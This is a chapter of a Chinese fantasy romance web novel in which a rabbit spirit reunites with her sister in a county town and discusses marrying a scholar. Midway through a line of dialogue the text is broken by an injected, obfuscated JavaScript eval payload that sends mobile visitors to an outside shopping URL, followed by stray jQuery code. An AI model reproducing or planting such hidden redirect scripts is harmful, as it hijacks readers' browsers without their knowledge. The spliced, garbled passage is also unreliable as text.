白若繁对县里的客舍很失望。
房间里根本没有桌子,窗户也没有,只有一张小小的床,躺下去恐怕连腿脚都伸不直。
难怪生意不好。
刚才他们在前面找了半天不见小二,结果人睡得趴在椅子下,要是没喊一声,差点自顾自闷死过去。
“白岩县的外来人不多,这客舍也是用民居凑合开张的。”顾岐低声说,“都是一间房子隔出好几个小间,恐怕隔壁翻身我们都能听见。”
“哦……”白若繁不自觉跟着他放轻了声量,两个人坐在床长一些的边上,做贼一样把脑袋凑在一处,小声交流着。
“你之前来过吗?”小兔有点紧张,她对这种无法探知全貌的新环境本能地抗拒,要是能跑动就好些,可惜并不行。
“嗯,以前来办事或者看望人的时候偶尔会住在这里。”
白若繁想不到他除了来见家里的三叔和四弟之外还有谁要见的,疑惑地歪歪头。
他们二人靠得太近,空间狭小,这一歪就把后脑勺搁在人的肩膀上了,不过小兔觉得很舒服,所以没挪窝。
而且她发现,再闭上眼睛就更舒服了。
“你睡吧。”顾岐说着,取出巾帕给她擦脸。
不知道什么时候蹭上去的,右边脸颊靠近鼻梁,有一道斜挑着的灰痕,在她白皙的脸上特别显眼,他已经盯了一路,这才有机会亲手解决。
小兔靠在他肩上嗯了一声,刚要躺下,就听见耳边传来极为清晰的打呼声。
“……”
“真的好近啊。”白若繁翻了个身,感慨道。
她以前在家里睡觉,姐姐睡相很好,从来不打呼,小兔理所当然地睡眠很好。
最近在顾岐身边睡觉,他也睡得斯文,白若繁从来没有入眠还要被打扰的烦恼。
偶尔可能是她一时兴起要打扰一下他。
顾岐坐在她身旁,没有打算跟小兔抢位置,将被子给她盖上,又俯下身双手捂了她的耳朵。
“你先睡,睡着之后听见,就不会被吵醒。”
否则听见鼾声,人忍不住会跟着听见的呼吸频率,根本睡不下。
白若繁眨眨眼,没有说话,她想问顾岐不困吗。
但是今夜大起大落实在熬人,她的问题在唇舌之间绕了一圈,很快被吞了回去。
耳朵被掩着,所有声音都闷闷的,仿佛暴雨来临的夜晚,格外安眠。
白若繁放心地闭上眼,她就睡一会儿,很快起来,可以换顾岐躺着。
再次睁开眼睛的时候顾岐依旧坐在床边,连衣褶都是她闭眼前记住的模样。
白若繁心中一喜,认为自己没有睡很久。
“走罢。”顾岐对她说,把鞋袜给她。
原来时间已经过了日出。
不小心睡过头的小兔妖很不好意思,边走边在顾岐前后绕来绕去,想说要不然你先回去睡觉。
毕竟她和姐姐有很多妖之间的话要说,相认之后,不一定顾得上他。
不过白若繁看着他一心要陪自己到底的模样,到底没说出口。
他们那么有缘碰到了,顾岐还陪她一晚上都没睡,现在扔下他,不好。
“梨花巷有一十二户人家。”顾岐挽住她的手臂,使白若繁不得不安稳地跟着他走。
“小繁有更具体的消息吗?或者我们一家一家问过去?”
顾岐问她,留意到白若繁顿住了脚步,翘首望向前方。
那里是白岩县的早市,正有十数个小摊支着,有些是刚出炉的早茶,有些是凌晨打捞的鲜鱼。
白若繁目光所指的方向人潮并不密集,只有一个正着素裳挽垂髻的女子。
顾岐放开她的手,小兔愣愣地站住,过了会儿仿佛刚反应过来自己还有腿,冲了过去。
“姐姐!”
白雾被突然窜出来的妹妹吓了一跳,惊喜得还未言语,就被妹妹实打实抱了个满怀。
白若繁本来有千般万般的话要给姐姐说,临到眼前,就只是钻到姐姐怀里呜呜咕咕地喊,旁人见了恐怕以为她在哭。不过她才没有:“笨蛋姐姐,我比你先找到!”
白若繁小声放话,插着腰从姐姐怀抱里后退几步,昂着脑袋不想让姐姐看到眼里的水光。
“小繁厉害——你有受伤吗?”白雾哭笑不得,低头执起她的手仔细瞧。
其实妹妹能维持人形,已经代表了她状态不错,否则现在只能见到灰扑扑的一只小兔子。
白若繁摇摇头,任由姐姐上下检查。
“找到了就好。”她把白若繁往街边小巷牵,清晨街头来采买的人也不少,当街讲话到底不方便。
白若繁飞快地扭头回看顾岐,对方对她点点头,站在原地等她。
白雾看一眼妹妹,又看一眼明显与她同路的男子,挑了挑眉,暂时没有发问。
按小繁的性子,等下她问完情况,自己便会说的。
自从两只兔妖在永州云岭县被追捕,到现在已经过去几个月。
在这里找到彼此,算是心有灵犀运气极佳,却也并非没有缘由。
分别前她们匆忙约定过,无论如何,一定要顺着溓江往上游走,这条大邕的母亲河支流众多,其中一条就是穿过白石坳的白溪。
更何况白雾还边走边救,让每只妖都帮自己找妹妹。
“算上监牢里那只兔妖,拢共救了二十一只兔子、六条蛇、两只老虎,还有……”
白若繁目瞪口呆,抓着姐姐的手都不自觉松开了些,一脸崇拜。
不过她很快发现问题:“牢里的兔子为什么一眼就认出我来了?”
当时情况紧急,她没来得及听那兔妖解释。
“咳咳。”白雾默默地移开视线,盯住巷子两旁石墙上的划痕,好像能看出花儿来似的。
她总不能跟妹妹说,遇到圆滚滚的、白底的——无论什么花纹,妹妹可能会蹭到——小兔,如果她看起来不自量力,在笨笨地做很危险的事,有可能就是她的小繁。
兔生性胆怯,喜欢安全的环境,一般不会主动做出格的事情。
不过小繁是特别的。
“为什么为什么?”
妹妹还在问,白雾只好说对方在乱讲逗人,把话题转移到落户安家上。
“我如今就在白岩县定居了,就在医馆帮忙。这里相比云岭县,守卫更松懈,我看很合适。”
白若繁认同,永州城晚上是要宵禁的,当初的监牢也比这里戒备森严得多。
“你的户籍身份如何办?”白雾问。
“不知道……刚才那个书生说要娶我。”
白若繁垂下眼,手指揪着衣角,莫名其妙地紧张。
等了一会儿姐姐都没出声,她刚抬起头,就被姐姐捏了捏脸颊的肉。
“哪里的人?几岁了?性格如何?他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836677|211459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家里人你都见过没有?……”
白雾一口气说了好长一段话,全是问题,不过并没有阻拦的意思。
如果求娶的人家有心,上了户籍,妖要收起尾巴做人就很容易了。
白若繁想,还是姐姐温柔善良,要是换成蛇妖姐姐就不会这样了,她会说妖和人没有好结果的——
“其实要是身有弱疾更好,拿了身份他再死,小繁就不用假装了。”
她温柔善良的姐姐微笑着说。
白若繁眨眨眼,其实她一开始也是这么想的。
不过她现在莫名有些心虚,不知如何回答是好。
好在白雾不放心,话又多又密,又拉着妹妹叮嘱别的事,譬如让小繁一定记得把婚期告诉她,多来县里找她。
白若繁一一应下。
本来姐妹两人能一直聊到太阳下山,只不过中途来了个赵姑娘,来找白雾买药。
白雾忙着带人去医馆,轻轻推了推妹妹的肩背,与她道别。
白若繁依依不舍地跟了几步,见到赵姑娘频频回头,似乎在向她的身后看。
她不解地转过身来,发现顾岐已经站在身后,手里提着些新买的瓜果。
“下次来拜访你家人?”顾岐看了一眼自己临时买的东西,心想这并不够隆重,对于上门提亲来说还是很草率。
幸好对方有事先离开了。
白若繁没有被他的问题牵着鼻子走,她抓了一颗李子在手上:“你认识那个赵姑娘吗?”
看着像是熟人,要不是着急走,应该打个招呼的。
“以前见过一面。”顾岐在心里想,或许没见过。
他的记忆十分庞杂,同样的一年时间,经过推演的分支可以扩展为十年之久,中间许多事情并没有真实出现过,但细枝末节之处他不会记得很清楚,没有必要。
他的能力更像是一种诅咒,最好的应对就是别那么把它当回事,糊涂一些,才能勉强活得像个正常人。
“唔。”小兔看他一眼,又看他一眼。
欲言又止的模样。
等到了家门口,白若繁扶着他跳下车,没头没脑地说了一句:“下次要不要带你去抓点药呢?”
顾岐:?
他还以为她在想自己为什么会认识赵姑娘。
方才乘车时他绞尽脑汁,终于回忆起赵家应当是县里曾经与他讲过亲的人家,不过并没有下文。
白若繁一路纠结,其实早就把路上见到的陌生人忘掉了。她只是在想,书生什么时候会死掉。
被她啃过两次还没体虚亏空已经很不对了,万一他现在是强弩之末呢?
不行不行,就算是按照姐姐的说法,也要等到成婚之后死才行呀。
他还要读书备考,更是消耗心神。
听说京城里有熬夜准备考试的读书人,刚从考场出来就昏倒,脸色苍白眼下乌青,比被妖精采/补了还虚弱。
由此看来,读书很危险!
小兔决定先给自己的未婚夫补一补,之后再走一步看一步。
顾岐把算盘打得噼啪响的小兔放在卧房,去与祖母商议婚期,一并告知她娘家人的所在。
这下顾老太太也放心了,小繁既然找到亲人,便不是来历不明的:“这个月底便有吉日,早些操办为好。”
顾岐点头,只是无端觉得背后凉飕飕。
不知道小兔此刻在忙些什么。